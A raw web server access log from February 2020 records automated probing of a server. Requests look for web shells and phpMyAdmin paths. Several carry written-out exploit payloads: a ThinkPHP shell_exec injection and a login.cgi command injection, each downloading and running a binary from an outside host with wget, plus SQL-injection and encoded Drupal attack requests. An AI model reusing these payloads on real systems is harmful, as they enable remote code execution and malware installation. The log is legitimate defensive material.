212.91.246.72 - - [12/Feb/2020:23:52:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:52:51 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:53:04 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:53:16 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:53:29 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:53:42 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:53:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:53:55 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:54:08 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:54:21 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:54:34 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.64.179.198 - - [12/Feb/2020:23:54:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:23:54:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:54:47 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:55:00 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:55:13 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:55:26 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
66.249.65.114 - - [12/Feb/2020:23:55:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
198.16.59.82 - - [12/Feb/2020:23:55:39 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:55:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:55:52 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:56:05 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:56:17 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:56:29 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.68.187.42 - - [12/Feb/2020:23:56:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.16.59.82 - - [12/Feb/2020:23:56:40 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:56:52 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:57:04 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:57:15 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:57:27 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:57:39 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:57:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:57:52 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:58:05 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:58:18 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:58:30 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:58:42 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:58:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:58:54 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:59:07 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:59:20 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:59:32 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:59:44 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:59:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:59:57 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [13/Feb/2020:00:00:10 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [13/Feb/2020:00:00:23 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [13/Feb/2020:00:00:35 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [13/Feb/2020:00:00:47 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [13/Feb/2020:00:01:00 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [13/Feb/2020:00:01:12 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
198.16.59.82 - - [13/Feb/2020:00:01:46 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
198.16.59.82 - - [13/Feb/2020:00:02:20 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
198.16.59.82 - - [13/Feb/2020:00:02:53 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
121.164.35.72 - - [13/Feb/2020:00:03:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
198.16.59.82 - - [13/Feb/2020:00:03:27 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
121.164.35.72 - - [13/Feb/2020:00:03:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [13/Feb/2020:00:03:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
198.16.59.82 - - [13/Feb/2020:00:04:01 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
121.164.35.72 - - [13/Feb/2020:00:04:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
198.16.59.82 - - [13/Feb/2020:00:04:34 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
198.16.59.82 - - [13/Feb/2020:00:05:08 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
198.16.59.82 - - [13/Feb/2020:00:05:42 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
198.16.59.82 - - [13/Feb/2020:00:06:16 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
198.16.59.82 - - [13/Feb/2020:00:06:50 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
198.16.59.82 - - [13/Feb/2020:00:06:56 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
198.16.59.82 - - [13/Feb/2020:00:07:02 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
198.16.59.82 - - [13/Feb/2020:00:07:07 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
198.16.59.82 - - [13/Feb/2020:00:07:13 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
198.16.59.82 - - [13/Feb/2020:00:07:45 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
95.231.3.212 - - [13/Feb/2020:00:08:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
198.16.59.82 - - [13/Feb/2020:00:08:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
198.16.59.82 - - [13/Feb/2020:00:08:52 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
198.16.59.82 - - [13/Feb/2020:00:09:26 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
198.16.59.82 - - [13/Feb/2020:00:10:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
198.16.59.82 - - [13/Feb/2020:00:10:34 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
198.16.59.82 - - [13/Feb/2020:00:11:08 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
183.80.97.5 - - [13/Feb/2020:00:11:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.16.59.82 - - [13/Feb/2020:00:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
198.16.59.82 - - [13/Feb/2020:00:12:15 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
157.55.39.29 - - [13/Feb/2020:00:12:15 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.39.42 - - [13/Feb/2020:00:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
37.151.84.252 - - [13/Feb/2020:00:12:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.244.27 - - [13/Feb/2020:00:12:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.16.59.82 - - [13/Feb/2020:00:12:49 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
198.16.59.82 - - [13/Feb/2020:00:13:23 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
198.16.59.82 - - [13/Feb/2020:00:13:35 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:13:47 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:14:00 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:14:12 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:14:24 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:14:36 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:14:48 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:15:00 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:15:13 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:15:25 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:15:37 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:15:50 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:16:03 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:16:15 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:16:27 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:16:40 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:16:53 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:17:05 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:17:18 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:17:30 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:17:42 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:17:53 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:18:06 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:18:19 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
14.248.79.77 - - [13/Feb/2020:00:18:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
198.16.59.82 - - [13/Feb/2020:00:18:32 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:18:44 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:18:56 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:19:07 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
157.55.39.42 - - [13/Feb/2020:00:19:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
198.16.59.82 - - [13/Feb/2020:00:19:19 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:19:31 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:19:43 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:19:54 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:20:06 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:20:17 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
198.16.59.82 - - [13/Feb/2020:00:20:29 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
